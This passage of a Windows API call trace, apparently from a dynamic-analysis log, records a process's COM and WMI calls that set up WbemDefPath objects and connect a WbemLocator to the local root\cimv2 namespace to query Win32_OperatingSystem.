0x80004002 [0194.395] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4480, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe188 | out: ppvObject=0x12fe188*=0x13a0e68) returned 0x0 [0194.395] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x13a0e68, riid=0x737b3e5c, pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x12fe190 | out: pCid=0x12fe190) returned 0x0 [0194.395] WbemDefPath:IUnknown:Release (This=0x13a0e68) returned 0x3 [0194.395] CoGetContextToken (in: pToken=0x12fe1e8 | out: pToken=0x12fe1e8) returned 0x0 [0194.395] CoGetContextToken (in: pToken=0x12fe5f0 | out: pToken=0x12fe5f0) returned 0x0 [0194.395] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4480, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe67c | out: ppvObject=0x12fe67c*=0x0) returned 0x80004002 [0194.396] WbemDefPath:IUnknown:Release (This=0x13a4480) returned 0x2 [0194.396] WbemDefPath:IUnknown:Release (This=0x13a4480) returned 0x1 [0194.396] CoGetContextToken (in: pToken=0x12fef90 | out: pToken=0x12fef90) returned 0x0 [0194.396] CoGetContextToken (in: pToken=0x12feef0 | out: pToken=0x12feef0) returned 0x0 [0194.396] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a4480, riid=0x12fefc0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x12fefbc | out: ppvObject=0x12fefbc*=0x13a4480) returned 0x0 [0194.396] WbemDefPath:IUnknown:AddRef (This=0x13a4480) returned 0x3 [0194.396] WbemDefPath:IUnknown:Release (This=0x13a4480) returned 0x2 [0194.397] WbemDefPath:IWbemPath:SetText (This=0x13a4480, uMode=0x4, pszPath="Win32_OperatingSystem") returned 0x0 [0194.401] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a4480, puCount=0x12ff134 | out: puCount=0x12ff134*=0x0) returned 0x0 [0194.402] WbemDefPath:IWbemPath:GetText (in: This=0x13a4480, lFlags=2, puBuffLength=0x12ff130*=0x0, pszText=0x0 | out: puBuffLength=0x12ff130*=0x16, pszText=0x0) returned 0x0 [0194.402] WbemDefPath:IWbemPath:GetText (in: This=0x13a4480, lFlags=2, puBuffLength=0x12ff130*=0x16, pszText="000000000000000000000" | out: puBuffLength=0x12ff130*=0x16, pszText="Win32_OperatingSystem") returned 0x0 [0194.403] WbemDefPath:IWbemPath:GetInfo (in: This=0x13a4480, uRequestedInfo=0x0, puResponse=0x12ff13c | out: puResponse=0x12ff13c*=0xc15) returned 0x0 [0194.403] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a4480, puCount=0x12ff134 | out: puCount=0x12ff134*=0x0) returned 0x0 [0194.403] WbemDefPath:IWbemPath:GetInfo (in: This=0x13a4480, uRequestedInfo=0x0, puResponse=0x12ff13c | out: puResponse=0x12ff13c*=0xc15) returned 0x0 [0194.403] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a4480, puCount=0x12ff130 | out: puCount=0x12ff130*=0x0) returned 0x0 [0194.403] WbemDefPath:IWbemPath:GetText (in: This=0x13a4480, lFlags=2, puBuffLength=0x12ff12c*=0x0, pszText=0x0 | out: puBuffLength=0x12ff12c*=0x16, pszText=0x0) returned 0x0 [0194.403] WbemDefPath:IWbemPath:GetText (in: This=0x13a4480, lFlags=2, puBuffLength=0x12ff12c*=0x16, pszText="000000000000000000000" | out: puBuffLength=0x12ff12c*=0x16, pszText="Win32_OperatingSystem") returned 0x0 [0194.403] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a4480, puCount=0x12ff130 | out: puCount=0x12ff130*=0x0) returned 0x0 [0194.403] WbemDefPath:IWbemPath:GetText (in: This=0x13a4480, lFlags=2, puBuffLength=0x12ff12c*=0x0, pszText=0x0 | out: puBuffLength=0x12ff12c*=0x16, pszText=0x0) returned 0x0 [0194.403] WbemDefPath:IWbemPath:GetText (in: This=0x13a4480, lFlags=2, puBuffLength=0x12ff12c*=0x16, pszText="000000000000000000000" | out: puBuffLength=0x12ff12c*=0x16, pszText="Win32_OperatingSystem") returned 0x0 [0194.403] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a4480, puCount=0x12ff0c0 | out: puCount=0x12ff0c0*=0x0) returned 0x0 [0194.404] CoGetObjectContext (in: riid=0x31a7190*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fe970 | out: ppv=0x12fe970*=0x135504c) returned 0x0 [0194.404] IComThreadingInfo:GetCurrentApartmentType (in: This=0x135504c, pAptType=0x12fe968 | out: pAptType=0x12fe968*=1) returned 0x0 [0194.404] IUnknown:QueryInterface (in: This=0x135504c, riid=0x31a7178*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x12fe96c | out: ppvObject=0x12fe96c*=0x0) returned 0x80004002 [0194.404] IUnknown:Release (This=0x135504c) returned 0x0 [0194.405] CoGetClassObject (in: rclsid=0x1394304*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x737eb24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fe2c8 | out: ppv=0x12fe2c8*=0x1399758) returned 0x0 [0194.405] WbemDefPath:IUnknown:QueryInterface (in: This=0x1399758, riid=0x73839e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12fe4e4 | out: ppvObject=0x12fe4e4*=0x0) returned 0x80004002 [0194.405] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1399758, pUnkOuter=0x0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe4f0 | out: ppvObject=0x12fe4f0*=0x13a3e60) returned 0x0 [0194.405] WbemDefPath:IUnknown:Release (This=0x1399758) returned 0x0 [0194.405] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3e60, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe114 | out: ppvObject=0x12fe114*=0x13a3e60) returned 0x0 [0194.405] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3e60, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe0d0 | out: ppvObject=0x12fe0d0*=0x0) returned 0x80004002 [0194.405] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3e60, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fdcc4 | out: ppvObject=0x12fdcc4*=0x0) returned 0x80004002 [0194.406] WbemDefPath:IUnknown:AddRef (This=0x13a3e60) returned 0x3 [0194.406] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3e60, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fda24 | out: ppvObject=0x12fda24*=0x0) returned 0x80004002 [0194.406] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3e60, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fd9d4 | out: ppvObject=0x12fd9d4*=0x0) returned 0x80004002 [0194.406] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3e60, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fd9e0 | out: ppvObject=0x12fd9e0*=0x13a0e80) returned 0x0 [0194.406] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x13a0e80, riid=0x737b3e5c, pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x12fd9e8 | out: pCid=0x12fd9e8) returned 0x0 [0194.406] WbemDefPath:IUnknown:Release (This=0x13a0e80) returned 0x3 [0194.406] CoGetContextToken (in: pToken=0x12fda40 | out: pToken=0x12fda40) returned 0x0 [0194.406] CoGetContextToken (in: pToken=0x12fde48 | out: pToken=0x12fde48) returned 0x0 [0194.406] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3e60, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fded4 | out: ppvObject=0x12fded4*=0x0) returned 0x80004002 [0194.406] WbemDefPath:IUnknown:Release (This=0x13a3e60) returned 0x2 [0194.406] WbemDefPath:IUnknown:Release (This=0x13a3e60) returned 0x1 [0194.406] CoGetContextToken (in: pToken=0x12fe7e8 | out: pToken=0x12fe7e8) returned 0x0 [0194.406] CoGetContextToken (in: pToken=0x12fe748 | out: pToken=0x12fe748) returned 0x0 [0194.406] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3e60, riid=0x12fe818*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x12fe814 | out: ppvObject=0x12fe814*=0x13a3e60) returned 0x0 [0194.406] WbemDefPath:IUnknown:AddRef (This=0x13a3e60) returned 0x3 [0194.406] WbemDefPath:IUnknown:Release (This=0x13a3e60) returned 0x2 [0194.406] WbemDefPath:IWbemPath:SetText (This=0x13a3e60, uMode=0x4, pszPath="//./root/cimv2") returned 0x0 [0194.406] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a3e60, puCount=0x12ff0ac | out: puCount=0x12ff0ac*=0x2) returned 0x0 [0194.407] WbemDefPath:IWbemPath:GetText (in: This=0x13a3e60, lFlags=4, puBuffLength=0x12ff0a8*=0x0, pszText=0x0 | out: puBuffLength=0x12ff0a8*=0xf, pszText=0x0) returned 0x0 [0194.407] WbemDefPath:IWbemPath:GetText (in: This=0x13a3e60, lFlags=4, puBuffLength=0x12ff0a8*=0xf, pszText="00000000000000" | out: puBuffLength=0x12ff0a8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0194.407] CoGetObjectContext (in: riid=0x31a7190*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12ff05c | out: ppv=0x12ff05c*=0x135504c) returned 0x0 [0194.407] IComThreadingInfo:GetCurrentApartmentType (in: This=0x135504c, pAptType=0x12ff054 | out: pAptType=0x12ff054*=1) returned 0x0 [0194.407] IUnknown:QueryInterface (in: This=0x135504c, riid=0x31a7178*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x12ff058 | out: ppvObject=0x12ff058*=0x0) returned 0x80004002 [0194.407] IUnknown:Release (This=0x135504c) returned 0x0 [0194.407] CoGetClassObject (in: rclsid=0x1394304*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x737eb24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fe9b8 | out: ppv=0x12fe9b8*=0x1399878) returned 0x0 [0194.407] WbemDefPath:IUnknown:QueryInterface (in: This=0x1399878, riid=0x73839e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12febd4 | out: ppvObject=0x12febd4*=0x0) returned 0x80004002 [0194.407] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1399878, pUnkOuter=0x0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12febe0 | out: ppvObject=0x12febe0*=0x13a3ae0) returned 0x0 [0194.407] WbemDefPath:IUnknown:Release (This=0x1399878) returned 0x0 [0194.408] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3ae0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe804 | out: ppvObject=0x12fe804*=0x13a3ae0) returned 0x0 [0194.408] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3ae0, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe7c0 | out: ppvObject=0x12fe7c0*=0x0) returned 0x80004002 [0194.408] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3ae0, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe3b4 | out: ppvObject=0x12fe3b4*=0x0) returned 0x80004002 [0194.408] WbemDefPath:IUnknown:AddRef (This=0x13a3ae0) returned 0x3 [0194.408] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3ae0, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fe114 | out: ppvObject=0x12fe114*=0x0) returned 0x80004002 [0194.408] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3ae0, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fe0c4 | out: ppvObject=0x12fe0c4*=0x0) returned 0x80004002 [0194.408] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3ae0, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe0d0 | out: ppvObject=0x12fe0d0*=0x13a11e0) returned 0x0 [0194.408] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x13a11e0, riid=0x737b3e5c, pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x12fe0d8 | out: pCid=0x12fe0d8) returned 0x0 [0194.408] WbemDefPath:IUnknown:Release (This=0x13a11e0) returned 0x3 [0194.408] CoGetContextToken (in: pToken=0x12fe130 | out: pToken=0x12fe130) returned 0x0 [0194.408] CoGetContextToken (in: pToken=0x12fe538 | out: pToken=0x12fe538) returned 0x0 [0194.408] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3ae0, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe5c4 | out: ppvObject=0x12fe5c4*=0x0) returned 0x80004002 [0194.408] WbemDefPath:IUnknown:Release (This=0x13a3ae0) returned 0x2 [0194.408] WbemDefPath:IUnknown:Release (This=0x13a3ae0) returned 0x1 [0194.408] CoGetContextToken (in: pToken=0x12feed8 | out: pToken=0x12feed8) returned 0x0 [0194.408] CoGetContextToken (in: pToken=0x12fee38 | out: pToken=0x12fee38) returned 0x0 [0194.408] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3ae0, riid=0x12fef08*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x12fef04 | out: ppvObject=0x12fef04*=0x13a3ae0) returned 0x0 [0194.408] WbemDefPath:IUnknown:AddRef (This=0x13a3ae0) returned 0x3 [0194.408] WbemDefPath:IUnknown:Release (This=0x13a3ae0) returned 0x2 [0194.408] WbemDefPath:IWbemPath:SetText (This=0x13a3ae0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0194.408] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a3ae0, puCount=0x12ff084 | out: puCount=0x12ff084*=0x2) returned 0x0 [0194.408] WbemDefPath:IWbemPath:GetText (in: This=0x13a3ae0, lFlags=4, puBuffLength=0x12ff080*=0x0, pszText=0x0 | out: puBuffLength=0x12ff080*=0xf, pszText=0x0) returned 0x0 [0194.408] WbemDefPath:IWbemPath:GetText (in: This=0x13a3ae0, lFlags=4, puBuffLength=0x12ff080*=0xf, pszText="00000000000000" | out: puBuffLength=0x12ff080*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0194.409] CoGetObjectContext (in: riid=0x31a7190*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12ff084 | out: ppv=0x12ff084*=0x135504c) returned 0x0 [0194.409] IComThreadingInfo:GetCurrentApartmentType (in: This=0x135504c, pAptType=0x12ff07c | out: pAptType=0x12ff07c*=1) returned 0x0 [0194.409] IUnknown:QueryInterface (in: This=0x135504c, riid=0x31a7178*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x12ff080 | out: ppvObject=0x12ff080*=0x0) returned 0x80004002 [0194.409] IUnknown:Release (This=0x135504c) returned 0x0 [0194.409] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x12fef84 | out: lpiid=0x12fef84) returned 0x0 [0194.410] CoGetClassObject (in: rclsid=0x1394574*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x737eb24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fec90 | out: ppv=0x12fec90*=0x13a0fb8) returned 0x0 [0194.530] WbemLocator:IUnknown:QueryInterface (in: This=0x13a0fb8, riid=0x73839e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12feeac | out: ppvObject=0x12feeac*=0x0) returned 0x80004002 [0194.530] WbemLocator:IClassFactory:CreateInstance (in: This=0x13a0fb8, pUnkOuter=0x0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12feeb8 | out: ppvObject=0x12feeb8*=0x13997a8) returned 0x0 [0194.530] WbemLocator:IUnknown:Release (This=0x13a0fb8) returned 0x0 [0194.530] WbemLocator:IUnknown:QueryInterface (in: This=0x13997a8, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12feadc | out: ppvObject=0x12feadc*=0x13997a8) returned 0x0 [0194.530] WbemLocator:IUnknown:QueryInterface (in: This=0x13997a8, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fea98 | out: ppvObject=0x12fea98*=0x0) returned 0x80004002 [0194.530] WbemLocator:IUnknown:QueryInterface (in: This=0x13997a8, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe68c | out: ppvObject=0x12fe68c*=0x0) returned 0x80004002 [0194.531] WbemLocator:IUnknown:AddRef (This=0x13997a8) returned 0x3 [0194.531] WbemLocator:IUnknown:QueryInterface (in: This=0x13997a8, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fe3ec | out: ppvObject=0x12fe3ec*=0x0) returned 0x80004002 [0194.531] WbemLocator:IUnknown:QueryInterface (in: This=0x13997a8, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fe39c | out: ppvObject=0x12fe39c*=0x0) returned 0x80004002 [0194.531] WbemLocator:IUnknown:QueryInterface (in: This=0x13997a8, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe3a8 | out: ppvObject=0x12fe3a8*=0x0) returned 0x80004002 [0194.531] CoGetContextToken (in: pToken=0x12fe408 | out: pToken=0x12fe408) returned 0x0 [0194.531] CoGetObjectContext (in: riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x13a0fbc | out: ppv=0x13a0fbc*=0x1355040) returned 0x0 [0194.531] CoGetContextToken (in: pToken=0x12fe810 | out: pToken=0x12fe810) returned 0x0 [0194.531] WbemLocator:IUnknown:QueryInterface (in: This=0x13997a8, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe89c | out: ppvObject=0x12fe89c*=0x0) returned 0x80004002 [0194.531] WbemLocator:IUnknown:Release (This=0x13997a8) returned 0x2 [0194.531] WbemLocator:IUnknown:Release (This=0x13997a8) returned 0x1 [0194.531] CoGetContextToken (in: pToken=0x12fee98 | out: pToken=0x12fee98) returned 0x0 [0194.531] CoGetContextToken (in: pToken=0x12fedf8 | out: pToken=0x12fedf8) returned 0x0 [0194.531] WbemLocator:IUnknown:QueryInterface (in: This=0x13997a8, riid=0x12feec8*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x12feec4 | out: ppvObject=0x12feec4*=0x13997a8) returned 0x0 [0194.531] WbemLocator:IUnknown:AddRef (This=0x13997a8) returned 0x3 [0194.531] WbemLocator:IUnknown:Release (This=0x13997a8) returned 0x2 [0194.536] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a3ae0, puCount=0x12ff060 | out: puCount=0x12ff060*=0x2) returned 0x0 [0194.536] WbemDefPath:IWbemPath:GetText (in: This=0x13a3ae0, lFlags=8, puBuffLength=0x12ff05c*=0x0, pszText=0x0 | out: puBuffLength=0x12ff05c*=0xf, pszText=0x0) returned 0x0 [0194.536] WbemDefPath:IWbemPath:GetText (in: This=0x13a3ae0, lFlags=8, puBuffLength=0x12ff05c*=0xf, pszText="00000000000000" | out: puBuffLength=0x12ff05c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0194.536] CoCreateInstance (in: rclsid=0x6e5436ac*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6e54370c*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x12fef18 | out: ppv=0x12fef18*=0x1399878) returned 0x0 [0194.536] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1399878, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x12fefac | out: ppNamespace=0x12fefac*=0x13cb328) returned 0x0 [0195.569] WbemLocator:IUnknown:QueryInterface (in: This=0x13cb328, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fee40 | out: ppvObject=0x12fee40*=0x1394e60) returned 0x0 [0195.569] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1394e60, pProxy=0x13cb328, pAuthnSvc=0x12fee90, pAuthzSvc=0x12fee8c, pServerPrincName=0x12fee84, pAuthnLevel=0x12fee88, pImpLevel=0x12fee78, pAuthInfo=0x12fee7c, pCapabilites=0x12fee80 | out: pAuthnSvc=0x12fee90*=0xa, pAuthzSvc=0x12fee8c*=0x0, pServerPrincName=0x12fee84, pAuthnLevel=0x12fee88*=0x6, pImpLevel=0x12fee78*=0x2, pAuthInfo=0x12fee7c, pCapabilites=0x12fee80*=0x1) returned 0x0 [0195.569] WbemLocator:IUnknown:Release (This=0x1394e60) returned 0x1 [0195.569] WbemLocator:IUnknown:QueryInterface (in: This=0x13cb328, riid=0x6e54351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fee34 | out: ppvObject=0x12fee34*=0x1394e84) returned 0x0 [0195.569] WbemLocator:IUnknown:QueryInterface (in: This=0x13cb328, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, 